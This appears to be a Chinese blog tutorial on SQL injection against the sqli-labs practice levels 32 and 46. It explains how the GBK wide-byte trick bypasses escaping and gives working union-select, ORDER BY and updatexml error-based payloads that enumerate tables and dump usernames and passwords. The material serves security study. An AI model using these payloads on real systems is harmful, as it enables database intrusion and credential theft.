sql注入之order by ,宽字节 ,limit注入

什么是宽字节?

如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,成为宽字节

像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节,也就是只有两字节
英文默认占一个字节,中文占两个字

什么是宽字节注入?

原理:宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码。在使用PHP连接MySQL的时候,当设置“character_set_client = gbk”时会导致一个编码转换的问题,也就是我们熟悉的宽字节注入

宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)

GBK首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F),例如%df和%5C会结合;GB2312是被GBK兼容的,它的高位范围是0xA1-0xF7,低位范围是0xA1-0xFE(0x5C不在该范围内),因此不能使用编码吃掉%5c

常见转义函数与配置:addslashes、mysql_real_escape_string、mysql_escape_string、php.ini中magic_quote_gpc的配置

宽字节注入中常用的特殊字符:

  • %df
  • �'
  • �'

其原理是将转义符号\与%DF组合成一个汉字,使其失去效用

注入语句:

%DF' union select 1,2,3 -- -
�' union select 1,2,3 -- -
�' union select 1,2,3 -- -

以sqlilab的第32关为例

输入?id=1'时不报错,被/转义了

根据宽字节的方法进行测试

 id=-1%df' union select 1,2,3 -- -

 sql注入基本语句:

order by 4 ­­ ­
判断有多少列

union select 1,2,3 ­­ ­
判断数据显示点

union select 1,user(),database()­­ 
­显示出登录用户和数据库名

union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 
查看数据库有哪些表

union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 
查看对应表有哪些列

union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3
查看账号密码信息

 order by注入

以sql-lab-46关为例

一进入46关页面就提示我们使用 sort :

我们尝试这使用 ?sort=1 发现:

 然后 ?sort=2:

 然后 ?sort=3

 我们发现当我们使用 sort=1 时 表格以第一列进行排列,sort=2 时 表格以第二列进行排列, sort=3 时 表格以第三列进行排序。我们想到了order by 函数 ,猜测可能是与 order by 函数相关的注入。

order by 注入是指其后面的参数是可控的,

order by 不同于我们在 where 后的注入点,不能使用 union 等注入,其后可以跟接 报错注入 或者 时间盲注。

判断库名:?sort=-1 and updatexml(1,concat(0x7e,database(),0x7e),1)-- q

判断表名:?sort=-1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1)-- q

判断列名:?sort=-1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),0x7e),1)-- q

查询数据:?sort=-1 and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)-- q

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值